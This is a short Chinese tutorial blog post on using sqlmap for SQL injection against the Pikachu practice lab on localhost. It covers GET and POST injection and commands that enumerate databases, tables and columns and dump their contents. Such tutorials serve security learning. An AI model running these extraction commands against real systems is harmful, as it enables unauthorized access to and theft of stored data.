zoukankan      html  css  js  c++  java
  • SQL注入之工具学习——SqlMap

    一、基本使用

      1.1 方法一(get请求)

      python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"   --batch

      解释:-u 为目标访问url ,--batch 指的是sqlmap不会询问你的输入,全部默认确定。当你不知道要选择yes/no的时候,可以加入此参数。

         

       出现上述页面说明存在sql注入漏洞。注入类型为盲注,数据库为mysql。我们可以获取数据库。

      >>> python sqlmap.py -u url --dbs --batch         获取数据库信息

         

      >>>python sqlmap -u url.py --current-db --batch  获取当前数据库信息

       >>>python sqlmap.py -u url -D database --tables --batch  获取当前数据库的所有表信息

      >>>python sqlmap.py -u url -D database -T table --columns --batch 获取数据库表字段信息

       >>>python sqlmap.py -u url -D database -T table -C " column_name1,column_name2"  --dump --batch 导出表字段中的内容数据。

      --dump-all   导出全部(慎重,这个会导出所有表的数据)

      --dump  --start 1 --stop 5   选择性导出,导出前几条数据。

       1.2 post请求(方法二)

        如果请求参数为post,在url中不显示可结合使用burpsuit进行抓包,将抓包拦截的数据保存成txt文件直接拖至sqlmap。

        >>>python sqlmap.py -r a.txt

        如果有多个请求可以全部写到一个txt文件中进行扫描。

    在任何时候去学习都不晚,永远不要放弃自己!人生就是一个不断去学习的过程,任何时候,只要你想学,Come on !
  • 相关阅读:
    64位机配置iis 运行asp.net 程序(转载)
    病狗问题
    如何配置sqlcachedependence
    操作应用程序池
    自定义事件
    以下事情没做好决不能给客户演示
    判断用户ip是否在指定的ip段内
    silverlight4学习中解决的问题
    日历JS代码
    自己写的代码生成器ltscode2.0
  • 原文地址:https://www.cnblogs.com/startingpoint-fly/p/12769117.html
Copyright © 2011-2022 走看看